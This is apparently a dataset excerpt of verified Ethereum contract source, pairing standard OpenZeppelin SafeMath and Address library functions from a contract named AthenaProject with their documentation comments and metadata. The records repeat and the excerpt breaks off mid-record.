}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
3931,
4066
]
} | 11,752 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
4546,
4717
]
} | 11,753 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
606,
1230
]
} | 11,754 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
2160,
2562
]
} | 11,755 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
3318,
3496
]
} | 11,756 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
3721,
3922
]
} | 11,757 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
4292,
4523
]
} | 11,758 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
